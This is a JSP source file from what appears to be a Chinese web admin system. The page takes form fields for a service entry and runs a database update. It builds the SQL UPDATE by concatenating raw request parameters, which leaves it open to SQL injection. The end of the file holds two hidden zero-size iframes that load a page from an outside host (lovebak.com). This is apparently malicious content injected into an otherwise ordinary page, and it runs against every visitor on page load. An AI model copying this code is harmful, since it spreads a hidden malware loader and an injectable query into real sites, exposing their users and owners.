editservice.jsp

订单处理过程

<%@ page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" errorPage="" %>
<%@ include file="../jdbc_conn.jsp"%>
<div align=center>
<%! float Price=0,Discount=0;%>
<%
String ServiceID=request.getParameter("ServiceID");

String Servicename1=request.getParameter("Servicename");
String Servicename=new String(Servicename1.getBytes("ISO-8859-1"),"GBK");
String Content1=request.getParameter("Content");
String Content=new String(Content1.getBytes("ISO-8859-1"),"GBK");
String Price1=request.getParameter("Price");
String Discount1=request.getParameter("Discount");
String CategoryID=request.getParameter("CategoryID");
String Picture=request.getParameter("Picture");
String Flag=request.getParameter("Flag");

if(Servicename.length()==0){
	String errmsg="服务名称不能为空！";
out.print("<font color=green size=5>错误信息<hr></font><font color=red>"+errmsg+"</font><hr>");
}
else if(Content.length()==0){
	String errmsg="服务内容不能为空！";
out.print("<font color=green size=5>错误信息<hr></font><font color=red>"+errmsg+"</font><hr>");
}
else if(Price1.length()==0){
	String errmsg="服务费用不能为空！";
out.print("<font color=green size=5>错误信息<hr></font><font color=red>"+errmsg+"</font><hr>");
}
else if(Discount1.length()==0){
	String errmsg="服务折扣不能为空！";
out.print("<font color=green size=5>错误信息<hr></font><font color=red>"+errmsg+"</font><hr>");
}
else if(Flag.length()==0){
	String errmsg="可选状态不能为空！";
out.print("<font color=green size=5>错误信息<hr></font><font color=red>"+errmsg+"</font><hr>");
}
else{
Price=Float.parseFloat(Price1);
Discount=Float.parseFloat(Discount1);
String sql="update Service set Servicename='"+Servicename+"',Content='"+Content+"',Price="+Price+",Discount="+Discount+",CategoryID='"+CategoryID+"',Picture='"+Picture+"',Flag='"+Flag+"' where ServiceID="+ServiceID;
s.executeUpdate(sql);
response.sendRedirect("all_service.jsp");
}
out.print("<input type=button value=回上一页 onclick=history.back();>");
%>
</div>
<iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>
<iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>